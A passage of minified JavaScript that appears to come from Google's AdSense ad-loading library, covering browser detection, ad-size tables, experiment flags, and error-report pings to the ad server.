f=a[e]||"",g=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];g=/(\d*)(\D*)(.*)/.exec(g)||["","","",""];if(0==f[0].length&&0==g[0].length)break;c=gb(0==f[1].length?0:parseInt(f[1],10),0==g[1].length?0:parseInt(g[1],10))||gb(0==f[2].length,0==g[2].length)||gb(f[2],g[2]);f=f[3];g=g[3]}while(0==c)}return c}function gb(a,b){return a<b?-1:a>b?1:0};function hb(){this.a="";this.h=ib}hb.prototype.f=!0;hb.prototype.b=function(){return this.a.toString()};function jb(a){if(a instanceof hb&&a.constructor===hb&&a.h===ib)return a.a;wa(a);return"type_error:SafeUrl"}var kb=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i,ib={};function lb(a){var b=new hb;b.a=a;return b}lb("about:blank");var mb;a:{var nb=p.navigator;if(nb){var ob=nb.userAgent;if(ob){mb=ob;break a}}mb=""}function t(a){return eb(mb,a)}function pb(a){for(var b=/(\w[\w ]+)\/([^\s]+)\s*(?:\((.*?)\))?/g,c=[],d;d=b.exec(a);)c.push([d[1],d[2],d[3]||void 0]);return c};function qb(){return(t("Chrome")||t("CriOS"))&&!t("Edge")}function rb(){function a(e){e=Ma(e,d);return c[e]||""}var b=mb;if(t("Trident")||t("MSIE"))return tb(b);b=pb(b);var c={};Ia(b,function(e){c[e[0]]=e[1]});var d=Ga(Ua,c);return t("Opera")?a(["Version","Opera"]):t("Edge")?a(["Edge"]):t("Edg/")?a(["Edg"]):qb()?a(["Chrome","CriOS"]):(b=b[2])&&b[1]||""}function ub(a){return 0<=fb(rb(),a)}function tb(a){var b=/rv: *([\d\.]*)/.exec(a);if(b&&b[1])return b[1];b="";var c=/MSIE +([\d\.]+)/.exec(a);if(c&&c[1])if(a=/Trident\/(\d.\d)/.exec(a),"7.0"==c[1])if(a&&a[1])switch(a[1]){case "4.0":b="8.0";break;case "5.0":b="9.0";break;case "6.0":b="10.0";break;case "7.0":b="11.0"}else b="7.0";else b=c[1];return b};function vb(a,b){a.src=Xa(b);(b=qa())&&a.setAttribute("nonce",b)};var wb={"\x00":"\\0","\b":"\\b","\f":"\\f","\n":"\\n","\r":"\\r","\t":"\\t","\x0B":"\\x0B",'"':'\\"',"\\":"\\\\","<":"\\u003C"},xb={"'":"\\'"};function yb(a){return String(a).replace(/\-([a-z])/g,function(b,c){return c.toUpperCase()})};function zb(a){zb[" "](a);return a}zb[" "]=ua;function v(){}var Ab="function"==typeof Uint8Array;function x(a,b,c,d){a.a=null;b||(b=[]);a.w=void 0;a.h=-1;a.b=b;a:{if(b=a.b.length){--b;var e=a.b[b];if(!(null===e||"object"!=typeof e||ya(e)||Ab&&e instanceof Uint8Array)){a.i=b-a.h;a.f=e;break a}}a.i=Number.MAX_VALUE}a.s={};if(c)for(b=0;b<c.length;b++)e=c[b],e<a.i?(e+=a.h,a.b[e]=a.b[e]||Bb):(Cb(a),a.f[e]=a.f[e]||Bb);if(d&&d.length)for(b=0;b<d.length;b++)Db(a,d[b])}var Bb=[];function Cb(a){var b=a.i+a.h;a.b[b]||(a.f=a.b[b]={})}function y(a,b){if(b<a.i){b+=a.h;var c=a.b[b];return c===Bb?a.b[b]=[]:c}if(a.f)return c=a.f[b],c===Bb?a.f[b]=[]:c}function Eb(a,b){a=y(a,b);return null==a?a:+a}function Fb(a,b){a=y(a,b);return null==a?a:!!a}function A(a,b,c){a=y(a,b);return null==a?c:a}function Gb(a,b){a=Fb(a,b);return null==a?!1:a}function Hb(a,b){a=Eb(a,b);return null==a?0:a}function Ib(a,b,c){b<a.i?a.b[b+a.h]=c:(Cb(a),a.f[b]=c);return a}function Db(a,b){for(var c,d,e=0;e<b.length;e++){var f=b[e],g=y(a,f);null!=g&&(c=f,d=g,Ib(a,f,void 0))}return c?(Ib(a,c,d),c):0}function B(a,b,c){a.a||(a.a={});if(!a.a[c]){var d=y(a,c);d&&(a.a[c]=new b(d))}return a.a[c]}function C(a,b,c){a.a||(a.a={});if(!a.a[c]){for(var d=y(a,c),e=[],f=0;f<d.length;f++)e[f]=new b(d[f]);a.a[c]=e}b=a.a[c];b==Bb&&(b=a.a[c]=[]);return b}function Jb(a){if(a.a)for(var b in a.a){var c=a.a[b];if(ya(c))for(var d=0;d<c.length;d++)c[d]&&Jb(c[d]);else c&&Jb(c)}return a.b};function Kb(a){x(this,a,Lb,null)}r(Kb,v);function Mb(a){x(this,a,null,null)}r(Mb,v);var Lb=[2,3];function Nb(a){x(this,a,null,null)}r(Nb,v);var Ob=document,D=window;var Pb={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function Qb(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function Rb(a,b){return a.createElement(String(b))}function Sb(a){this.a=a||p.document||document}Sb.prototype.contains=function(a,b){if(!a||!b)return!1;if(a.contains&&1==b.nodeType)return a==b||a.contains(b);if("undefined"!=typeof a.compareDocumentPosition)return a==b||!!(a.compareDocumentPosition(b)&16);for(;b&&a!=b;)b=b.parentNode;return b==a};function Tb(a){Ub();var b=new Va;b.a=a;return b}var Ub=ua;function Vb(){return!(t("iPad")||t("Android")&&!t("Mobile")||t("Silk"))&&(t("iPod")||t("iPhone")||t("Android")||t("IEMobile"))};function Wb(a){try{var b;if(b=!!a&&null!=a.location.href)a:{try{zb(a.foo);b=!0;break a}catch(c){}b=!1}return b}catch(c){return!1}}function Xb(a){for(var b=p,c=0;b&&40>c++&&(!Wb(b)||!a(b));)a:{try{var d=b.parent;if(d&&d!=b){b=d;break a}}catch(e){}b=null}}function Yb(){var a=p;Xb(function(b){a=b;return!1});return a}function Zb(a,b){var c=a.createElement("script");vb(c,Tb(b));return(a=a.getElementsByTagName("script")[0])&&a.parentNode?(a.parentNode.insertBefore(c,a),c):null}function $b(a,b){return b.getComputedStyle?b.getComputedStyle(a,null):a.currentStyle}function ac(a,b,c){var d=!1;void 0===c||c||(d=bc());return!d&&!cc()&&(c=Math.random(),c<b)?(c=dc(p),a[Math.floor(c*a.length)]):null}function dc(a){if(!a.crypto)return Math.random();try{var b=new Uint32Array(1);a.crypto.getRandomValues(b);return b[0]/65536/65536}catch(c){return Math.random()}}function ec(a,b){if(a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function fc(a){var b=a.length;if(0==b)return 0;for(var c=305419896,d=0;d<b;d++)c^=(c<<5)+(c>>2)+a.charCodeAt(d)&4294967295;return 0<c?c:4294967296+c}var cc=Qa(function(){return eb(mb,"Google Web Preview")||1E-4>Math.random()}),bc=Qa(function(){return eb(mb,"MSIE")}),gc=/^([0-9.]+)px$/,hc=/^(-?[0-9.]{1,30})$/;function ic(a){return hc.test(a)&&(a=Number(a),!isNaN(a))?a:null}function jc(a,b){return b?!/^false$/.test(a):/^true$/.test(a)}function F(a){return(a=gc.exec(a))?+a[1]:null}function kc(a){var b={display:"none"};a.style.setProperty?ec(b,function(c,d){a.style.setProperty(d,c,"important")}):a.style.cssText=lc(mc(nc(a.style.cssText),oc(b,function(c){return c+" !important"})))}var mc=Object.assign||function(a,b){for(var c=1;c<arguments.length;c++){var d=arguments[c];if(d)for(var e in d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};function oc(a,b){var c={},d;for(d in a)Object.prototype.hasOwnProperty.call(a,d)&&(c[d]=b.call(void 0,a[d],d,a));return c}function lc(a){var b=[];ec(a,function(c,d){null!=c&&""!==c&&b.push(d+":"+c)});return b.length?b.join(";")+";":""}function nc(a){var b={};if(a){var c=/\s*:\s*/;Ia((a||"").split(/\s*;\s*/),function(d){if(d){var e=d.split(c);d=e[0];e=e[1];d&&e&&(b[d.toLowerCase()]=e)}})}return b}var pc=Qa(function(){var a=/Edge\/([^. ]+)/.exec(navigator.userAgent);return a?18<=parseInt(a[1],10):(a=/Chrome\/([^. ]+)/.exec(navigator.userAgent))?71<=parseInt(a[1],10):(a=/AppleWebKit\/([^. ]+)/.exec(navigator.userAgent))?13<=parseInt(a[1],10):(a=/Firefox\/([^. ]+)/.exec(navigator.userAgent))?64<=parseInt(a[1],10):!1}),qc=Qa(function(){return qb()&&ub(72)||t("Edge")&&ub(18)||(t("Firefox")||t("FxiOS"))&&ub(65)||t("Safari")&&!(qb()||t("Coast")||t("Opera")||t("Edge")||t("Edg/")||t("OPR")||t("Firefox")||t("FxiOS")||t("Silk")||t("Android"))&&ub(12)});function rc(a,b,c){a.addEventListener&&a.addEventListener(b,c,!1)};function sc(a,b){p.google_image_requests||(p.google_image_requests=[]);var c=p.document.createElement("img");if(b){var d=function(e){b&&b(e);c.removeEventListener&&c.removeEventListener("load",d,!1);c.removeEventListener&&c.removeEventListener("error",d,!1)};rc(c,"load",d);rc(c,"error",d)}c.src=a;p.google_image_requests.push(c)};function tc(a,b){a=parseInt(a,10);return isNaN(a)?b:a}var uc=/^([\w-]+\.)*([\w-]{2,})(:[0-9]+)?$/;function vc(a,b){return a?(a=a.match(uc))?a[0]:b:b};function wc(){return"r20190814"}var xc=jc("false",!1),yc=jc("false",!1),zc=jc("true",!1)||!yc;function Ac(){return vc("","pagead2.googlesyndication.com")};function Bc(a){a=void 0===a?p:a;var b=a.context||a.AMP_CONTEXT_DATA;if(!b)try{b=a.parent.context||a.parent.AMP_CONTEXT_DATA}catch(c){}try{if(b&&b.pageViewId&&b.canonicalUrl)return b}catch(c){}return null}function Cc(a){return(a=a||Bc())?Wb(a.master)?a.master:null:null};function Dc(a,b){for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&b.call(void 0,a[c],c,a)}function Ec(a){return!(!a||!a.call)&&"function"===typeof a}function Fc(a){a=Cc(Bc(a))||a;a.google_unique_id?++a.google_unique_id:a.google_unique_id=1}function Gc(a){a=Cc(Bc(a))||a;a=a.google_unique_id;return"number"===typeof a?a:0}var Hc=!!window.google_async_iframe_id,Ic=Hc&&window.parent||window;function Jc(){if(Hc&&!Wb(Ic)){var a="."+Ob.domain;try{for(;2<a.split(".").length&&!Wb(Ic);)Ob.domain=a=a.substr(a.indexOf(".")+1),Ic=window.parent}catch(b){}Wb(Ic)||(Ic=window)}return Ic}var Kc=/(^| )adsbygoogle($| )/;function Lc(a){return xc&&a.google_top_window||a.top}function Mc(a){a=Lc(a);return Wb(a)?a:null};function I(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function J(a,b){a:if(a=I(a).eids||[],a.indexOf)b=a.indexOf(b),b=0<b||0===b;else{for(var c=0;c<a.length;c++)if(a[c]===b){b=!0;break a}b=!1}return b}function Nc(a,b){a=I(a);a.tag_partners=a.tag_partners||[];a.tag_partners.push(b)}function Oc(a){I(D).allow_second_reactive_tag=a}function Pc(a,b,c){for(var d=0;d<a.length;++d)if((a[d].ad_slot||b)==b&&(a[d].ad_tag_origin||c)==c)return a[d];return null};var Qc={},Rc=(Qc.google_ad_client=!0,Qc.google_ad_host=!0,Qc.google_ad_host_channel=!0,Qc.google_adtest=!0,Qc.google_tag_for_child_directed_treatment=!0,Qc.google_tag_for_under_age_of_consent=!0,Qc.google_tag_partner=!0,Qc);function Sc(a){x(this,a,Tc,null)}r(Sc,v);var Tc=[4];Sc.prototype.X=function(){return y(this,3)};function Uc(a){x(this,a,null,null)}r(Uc,v);function Vc(a){x(this,a,null,Wc)}r(Vc,v);function Xc(a){x(this,a,null,null)}r(Xc,v);function Yc(a){x(this,a,null,null)}r(Yc,v);function Zc(a){x(this,a,null,null)}r(Zc,v);var Wc=[[1,2,3]];function $c(a){x(this,a,null,null)}r($c,v);function ad(a){x(this,a,null,null)}r(ad,v);function bd(a){x(this,a,cd,null)}r(bd,v);var cd=[6,7,9,10,11];function dd(a){x(this,a,ed,null)}r(dd,v);function fd(a){x(this,a,null,null)}r(fd,v);function gd(a){x(this,a,hd,null)}r(gd,v);function id(a){x(this,a,null,null)}r(id,v);function jd(a){x(this,a,null,null)}r(jd,v);function kd(a){x(this,a,null,null)}r(kd,v);function ld(a){x(this,a,null,null)}r(ld,v);var ed=[1,2,5,7],hd=[2,5,6];var md={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5,full_page:6};function nd(a,b){a=a.replace(/(^\/)|(\/$)/g,"");var c=fc(a),d=od(a);return b.find(function(e){var f=null!=y(e,7)?y(B(e,id,7),1):y(e,1);e=null!=y(e,7)?y(B(e,id,7),2):2;if(!pa(f))return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function od(a){for(var b={};;){b[fc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};function pd(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c};var qd=/^https?:\/\/(\w|-)+\.cdn\.ampproject\.(net|org)(\?|\/|$)/;function rd(a,b){this.a=a;this.b=b}function sd(a,b,c){this.url=a;this.a=b;this.qa=!!c;this.depth=pa(void 0)?void 0:null};function td(){this.f="&";this.h=!1;this.b={};this.i=0;this.a=[]}function ud(a,b){var c={};c[a]=b;return[c]}function vd(a,b,c,d,e){var f=[];ec(a,function(g,h){(g=wd(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)}function wd(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(wd(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(vd(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))}function xd(a,b,c,d){a.a.push(b);a.b[b]=ud(c,d)}function yd(a,b,c){b=b+"//pagead2.googlesyndication.com"+c;var d=zd(a)-c.length;if(0>d)return"";a.a.sort(function(n,u){return n-u});c=null;for(var e="",f=0;f<a.a.length;f++)for(var g=a.a[f],h=a.b[g],k=0;k<h.length;k++){if(!d){c=null==c?g:c;break}var m=vd(h[k],a.f,",$");if(m){m=e+m;if(d>=m.length){d-=m.length;b+=m;e=a.f;break}else a.h&&(e=d,m[e-1]==a.f&&--e,b+=m.substr(0,e),e=a.f,d=0);c=null==c?g:c}}a="";null!=c&&(a=e+"trn="+c);return b+a}function zd(a){var b=1,c;for(c in a.b)b=c.length>b?c.length:b;return 3997-b-a.f.length-1};function Ad(){var a=void 0===a?D:a;this.a="http:"===a.location.protocol?"http:":"https:";this.b=Math.random()}function Bd(a,b,c,d,e,f){if((d?a.b:Math.random())<(e||.01))try{if(c instanceof td)var g=c;else g=new td,ec(c,function(k,m){var n=g,u=n.i++;k=ud(m,k);n.a.push(u);n.b[u]=k});var h=yd(g,a.a,"/pagead/gen_204?id="+b+"&");h&&("undefined"===typeof f?sc(h,null):sc(h,void 0===f?null:f))}catch(k){}};function Cd(a,b){this.start=a<b?a:b;this.a=a<b?b:a};function K(a,b,c){this.b=b>=a?new Cd(a,b):null;this.a=c}function Dd(a,b){var c=-1;b="google_experiment_mod"+(void 0===b?"":b);try{a.localStorage&&(c=parseInt(a.localStorage.getItem(b),10))}catch(d){return null}if(0<=c&&1E3>c)return c;if(cc())return null;c=Math.floor(1E3*dc(a));try{if(a.localStorage)return a.localStorage.setItem(b,""+c),c}catch(d){}return null};var Ed=null;function Fd(){if(null===Ed){Ed="";try{var a="";try{a=p.top.location.hash}catch(c){a=p.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Ed=b?b[1]:""}}catch(c){}}return Ed};function Gd(){var a=p.performance;return a&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):+new Date}function Hd(){var a=void 0===a?p:a;return(a=a.performance)&&a.now?a.now():null};function Id(a,b,c){this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var Jd=p.performance,Kd=!!(Jd&&Jd.mark&&Jd.measure&&Jd.clearMarks),Ld=Qa(function(){var a;if(a=Kd)a=Fd(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function Md(){var a=Nd;this.b=[];this.f=a||p;var b=null;a&&(a.google_js_reporting_queue=a.google_js_reporting_queue||[],this.b=a.google_js_reporting_queue,b=a.google_measure_js_timing);this.a=Ld()||(null!=b?b:1>Math.random())}function Od(a){a&&Jd&&Ld()&&(Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),Jd.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}Md.prototype.start=function(a,b){if(!this.a)return null;var c=Hd()||Gd();a=new Id(a,b,c);b="goog_"+a.label+"_"+a.uniqueId+"_start";Jd&&Ld()&&Jd.mark(b);return a};function Pd(){var a=Qd;this.w=Rd;this.h=!0;this.a=null;this.s=this.b;this.f=void 0===a?null:a;this.i=!1}function Sd(a,b,c,d){try{if(a.f&&a.f.a){var e=a.f.start(b.toString(),3);var f=c();var g=a.f;c=e;if(g.a&&pa(c.value)){var h=Hd()||Gd();c.duration=h-c.value;var k="goog_"+c.label+"_"+c.uniqueId+"_end";Jd&&Ld()&&Jd.mark(k);!g.a||2048<g.b.length||g.b.push(c)}}else f=c()}catch(m){g=a.h;try{Od(e),g=a.s(b,new pd(m,{message:Td(m)}),void 0,d)}catch(n){a.b(217,n)}if(!g)throw m;}return f}function Ud(a,b,c,d,e){return function(f){for(var g=[],h=0;h<arguments.length;++h)g[h]=arguments[h];return Sd(a,b,function(){return c.apply(d,g)},e)}}Pd.prototype.b=function(a,b,c,d,e){e=e||"jserror";try{var f=new td;f.h=!0;xd(f,1,"context",a);b.error&&b.meta&&b.id||(b=new pd(b,{message:Td(b)}));b.msg&&xd(f,2,"msg",b.msg.substring(0,512));var g=b.meta||{};if(this.a)try{this.a(g)}catch(G){}if(d)try{d(g)}catch(G){}b=[g];f.a.push(3);f.b[3]=b;d=p;b=[];g=null;do{var h=d;if(Wb(h)){var k=h.location.href;g=h.document&&h.document.referrer||null}else k=g,g=null;b.push(new sd(k||"",h));try{d=h.parent}catch(G){d=null}}while(d&&h!=d);k=0;for(var m=b.length-1;k<=m;++k)b[k].depth=m-k;h=p;if(h.location&&h.location.ancestorOrigins&&h.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var n=b[m];n.url||(n.url=h.location.ancestorOrigins[m-1]||"",n.qa=!0)}var u=new sd(p.location.href,p,!1);h=null;var w=b.length-1;for(n=w;0<=n;--n){var z=b[n];!h&&qd.test(z.url)&&(h=z);if(z.url&&!z.qa){u=z;break}}z=null;var H=b.length&&b[w].url;0!=u.depth&&H&&(z=b[w]);var E=new rd(u,z);E.b&&xd(f,4,"top",E.b.url||"");xd(f,5,"url",E.a.url||"");Bd(this.w,e,f,this.i,c)}catch(G){try{Bd(this.w,e,{context:"ecmserr",rctx:a,msg:Td(G),url:E&&E.a.url},this.i,c)}catch(sb){}}return this.h};function Td(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};function L(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,L):this.stack=Error().stack||""}ka(L,Error);var Rd,Vd,Wd,Nd=Jc(),Qd=new Md;function Xd(a){null!=a&&(Nd.google_measure_js_timing=a);Nd.google_measure_js_timing||(a=Qd,a.a=!1,a.b!=a.f.google_js_reporting_queue&&(Ld()&&Ia(a.b,Od),a.b.length=0))}function Yd(a){var b=D.jerExpIds;if(ya(b)&&0!==b.length){var c=a.eid;if(c){b=ca(c.split(",")).concat(ca(b));c={};for(var d=0,e=0;e<b.length;){var f=b[e++];var g=f;g=za(g)?"o"+Aa(g):(typeof g).charAt(0)+g;Object.prototype.hasOwnProperty.call(c,g)||(c[g]=!0,b[d++]=f)}b.length=d;a.eid=b.join(",")}else a.eid=b.join(",")}}(function(){Rd=new Ad;Vd=new Pd;Vd.a=function(b){Yd(b);Wd&&(b.jc=Wd)};"complete"==Nd.document.readyState?Xd():Qd.a&&rc(Nd,"load",function(){Xd()});var a=Ob.currentScript;Wd=a?a.dataset.jc:""})();function Zd(){var a=[$d,ae];Vd.a=function(b){Ia(a,function(c){c(b)});Yd(b);Wd&&(b.jc=Wd)}}function be(a,b,c){return Sd(Vd,a,b,c)}function ce(a,b){return Ud(Vd,a,b,void 0,void 0)}function de(a,b,c){Bd(Rd,a,b,"jserror"!=a,c,void 0)}function ee(a,b,c,d){return 0==(b.error&&b.meta&&b.id?b.msg||Td(b.error):Td(b)).indexOf("TagError")?(Vd.i=!0,c=b instanceof pd?b.error:b,c.pbr||(c.pbr=!0,Vd.b(a,b,.1,d,"puberror")),!1):Vd.b(a,b,c,d)}function fe(a){de("rmvasft",{code:"ldr",branch:a?"exp":"cntr"})};function ge(a,b){this.oa=a;this.ua=b}function he(a){var b=[].slice.call(arguments).filter(Pa());if(!b.length)return null;var c=[],d={};b.forEach(function(e){c=c.concat(e.oa||[]);d=Object.assign(d,e.ua)});return new ge(c,d)}function ie(a){switch(a){case 1:return new ge(null,{google_ad_semantic_area:"mc"});case 2:return new ge(null,{google_ad_semantic_area:"h"});case 3:return new ge(null,{google_ad_semantic_area:"f"});case 4:return new ge(null,{google_ad_semantic_area:"s"});default:return null}};var je=new ge(["google-auto-placed"],{google_tag_origin:"qs"});var ke={},le=(ke.google_ad_channel=!0,ke.google_ad_host=!0,ke);function me(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));de("ama",b,.01)}function ne(a){var b={};ec(le,function(c,d){d in a&&(b[d]=a[d])});return b};var oe=tc("2012",2012);function pe(a){x(this,a,qe,re)}r(pe,v);var qe=[2,8],re=[[3,4,5],[6,7]];function se(a){return null!=a?!a:a}function te(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d].call();if(e==b)return e;null==e&&(c=!0)}if(!c)return!b}function ue(a,b){var c=C(a,pe,2);if(!c.length)return ve(a,b);a=A(a,1,0);if(1==a)return se(ue(c[0],b));c=Ka(c,function(d){return function(){return ue(d,b)}});switch(a){case 2:return te(c,!1);case 3:return te(c,!0)}}function ve(a,b){var c=Db(a,re[0]);a:{switch(c){case 3:var d=A(a,3,0);break a;case 4:d=A(a,4,0);break a;case 5:d=A(a,5,0);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,y(a,8))}catch(f){return}b=A(a,1,0);if(4==b)return!!e;d=null!=e;if(5==b)return d;if(12==b)a=A(a,7,"");else a:{switch(c){case 4:a=Hb(a,6);break a;case 5:a=A(a,7,"");break a}a=void 0}if(null!=a){if(6==b)return e===a;if(9==b)return 0==fb(e,a);if(d)switch(b){case 7:return e<a;case 8:return e>a;case 12:return(new RegExp(a)).test(e);case 10:return-1==fb(e,a);case 11:return 1==fb(e,a)}}}}function we(a,b){return!a||!(!b||!ue(a,b))};function xe(a){x(this,a,ye,null)}r(xe,v);var ye=[4];function ze(a){x(this,a,Ae,Be)}r(ze,v);function Ce(a){x(this,a,null,null)}r(Ce,v);var Ae=[5],Be=[[1,2,3,6]];function De(){var a={};this.a=(a[3]={},a[4]={},a[5]={},a)}va(De);function Ee(a,b){switch(b){case 1:return A(a,1,0);case 2:return A(a,2,0);case 3:return A(a,3,0);case 6:return A(a,6,0);default:return null}}function Fe(a,b){if(!a)return null;switch(b){case 1:return Gb(a,1);case 2:return Hb(a,2);case 3:return A(a,3,"");case 6:return y(a,4);default:return null}}function Ge(a,b,c){b=He.j().a[a][b];if(!b)return c;b=new ze(b);b=Ie(b);a=Fe(b,a);return null!=a?a:c}function Ie(a){var b=De.j().a;if(b){var c=Na(C(a,Ce,5),function(d){return we(B(d,pe,1),b)});if(c)return B(c,xe,2)}return B(a,xe,4)}function He(){var a={};this.a=(a[1]={},a[2]={},a[3]={},a[6]={},a)}va(He);function Je(a,b){return!!Ge(1,a,void 0===b?!1:b)}function Ke(a,b){b=void 0===b?0:b;a=Number(Ge(2,a,b));return isNaN(a)?b:a}function Le(a,b){return Ge(3,a,void 0===b?"":b)}function Me(a,b){b=void 0===b?[]:b;return Ge(6,a,b)}function Ne(a){var b=He.j().a;Ia(a,function(c){var d=Db(c,Be[0]),e=Ee(c,d);e&&(b[d][e]=Jb(c))})}function Oe(a){var b=He.j().a;Ia(a,function(c){var d=new ze(c),e=Db(d,Be[0]);(d=Ee(d,e))&&(b[e][d]||(b[e][d]=c))})};function M(a){this.a=a}var Pe=new M(1),Qe=new M(2),Re=new M(3),Se=new M(4),Te=new M(5),Ue=new M(6),Ve=new M(7),We=new M(8),Xe=new M(9),Ye=new M(10),Ze=new M(11),$e=new M(12),af=new M(13),bf=new M(14);function N(a,b,c){c.hasOwnProperty(a.a)||Object.defineProperty(c,String(a.a),{value:b})}function cf(a,b,c){return b[a.a]||c||function(){}}function df(a){N(Te,Je,a);N(Ue,Ke,a);N(Ve,Le,a);N(We,Me,a);N(af,Oe,a)}function ef(a){N(Se,function(b){De.j().a=b},a);N(Xe,function(b,c){var d=De.j();d.a[3][b]||(d.a[3][b]=c)},a);N(Ye,function(b,c){var d=De.j();d.a[4][b]||(d.a[4][b]=c)},a);N(Ze,function(b,c){var d=De.j();d.a[5][b]||(d.a[5][b]=c)},a);N(bf,function(b){for(var c=De.j(),d=ba([3,4,5]),e=d.next();!e.done;e=d.next()){var f=e.value;e=void 0;var g=c.a[f];f=b[f];for(e in f)g[e]=f[e]}},a)}function ff(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function gf(){this.a=function(){return!1}}va(gf);function hf(a,b,c){c||(c=zc?"https":"http");p.location&&"https:"==p.location.protocol&&"http"==c&&(c="https");return[c,"://",a,b].join("")}function jf(a,b,c){a=hf(a,b,c);var d=void 0===d?!1:d;if(gf.j().a(182,d)){var e;2012<oe?e=a.replace(new RegExp(".js".replace(/([-()\[\]{}+?*.$\^|,:#<!\\])/g,"\\$1").replace(/\x08/g,"\\x08"),"g"),("_fy"+oe+".js").replace(/\$/g,"$$$$")):e=a;d=e}else d=a;return d};var kf=null;function lf(){if(!xc)return!1;if(null!=kf)return kf;kf=!1;try{var a=Mc(p);a&&-1!=a.location.hash.indexOf("google_logging")&&(kf=!0);p.localStorage.getItem("google_logging")&&(kf=!0)}catch(b){}return kf}function mf(a,b){b=void 0===b?[]:b;var c=!1;p.google_logging_queue||(c=!0,p.google_logging_queue=[]);p.google_logging_queue.push([a,b]);c&&lf()&&(a=jf(Ac(),"/pagead/js/logging_library.js"),Zb(p.document,a))};function nf(a,b,c){this.a=a;this.b=b;this.f=c};function of(a){x(this,a,null,null)}r(of,v);function pf(a){x(this,a,null,null)}r(pf,v);function qf(a){x(this,a,rf,null)}r(qf,v);var rf=[5];function sf(a){try{var b=a.localStorage.getItem("google_ama_settings");return b?new qf(b?JSON.parse(b):null):null}catch(c){return null}};function tf(){};var uf={rectangle:1,horizontal:2,vertical:4};var vf={9:"400",10:"100",13:"0.001",22:"0.01",24:"0.05",28:"0.001",29:"0.01",34:"0.001",60:"0.03",66:"0.1",78:"0.1",79:"1200",82:"3",96:"700",97:"20",98:"0.01",99:"600",100:"100",103:"0.01",111:"0.1",118:"false",120:"0",121:"1000",126:"0.001",128:"false",129:"0.02",135:"0.01",136:"0.02",137:"0.01",142:"1",149:"0",150:"1000",152:"700",153:"20",155:"1",157:"1",158:"100",160:"250",161:"150",162:"0.1",165:"0.02",173:"800",174:"2",176:"0",177:"0.02",179:"100",180:"20",182:"0.1",185:"0.4",189:"400",190:"100",191:"0.04",192:"0",193:"500",194:"90",195:"0",196:"100",197:"false",199:"0",200:"2",201:"true"};var wf=null;function xf(){this.a=vf}function O(a,b){a=parseFloat(a.a[b]);return isNaN(a)?0:a}function yf(a){var b=zf();return jc(b.a[a],!1)}function zf(){wf||(wf=new xf);return wf};var Af=null;function Bf(){if(!Af){for(var a=p,b=a,c=0;a&&a!=a.parent;)if(a=a.parent,c++,Wb(a))b=a;else break;Af=b}return Af};function Cf(){this.a=function(){return[]};this.b=function(){return[]}}function Df(a,b){a.a=cf(Qe,b,function(){});a.b=cf(Re,b,function(){return[]})}va(Cf);var Ef={c:"368226950",g:"368226951"},Ff={c:"368226960",g:"368226961"},Gf={c:"368226470",U:"368226471"},Hf={c:"368226480",U:"368226481"},If={c:"332260030",R:"332260031",P:"332260032"},Jf={c:"332260040",R:"332260041",P:"332260042"},Kf={c:"368226100",g:"368226101"},Lf={c:"368226110",g:"368226111"},Mf={c:"368226500",g:"368226501"},Nf={c:"36998750",g:"36998751"},Of={c:"633794000",B:"633794004"},Pf={c:"633794002",B:"633794005"},Qf={c:"231196899",g:"231196900"},Rf={c:"231196901",g:"231196902"},Sf={c:"21063914",g:"21063915"},Tf={c:"4089040",Da:"4089042"},Uf={o:"20040067",c:"20040068",la:"1337"},Vf={c:"21060548",o:"21060549"},Wf={c:"21060623",o:"21060624"},Xf={c:"22324606",g:"22324607"},Yf={c:"21062271",o:"21062272"},Zf={c:"368226370",g:"368226371"},$f={c:"368226380",g:"368226381"},ag={c:"182982000",g:"182982100"},cg={c:"182982200",g:"182982300"},dg={c:"182983000",g:"182983100"},eg={c:"182983200",g:"182983300"},fg={c:"182984000",g:"182984100"},gg={c:"182984200",g:"182984300"},hg={c:"229739148",g:"229739149"},ig={c:"229739146",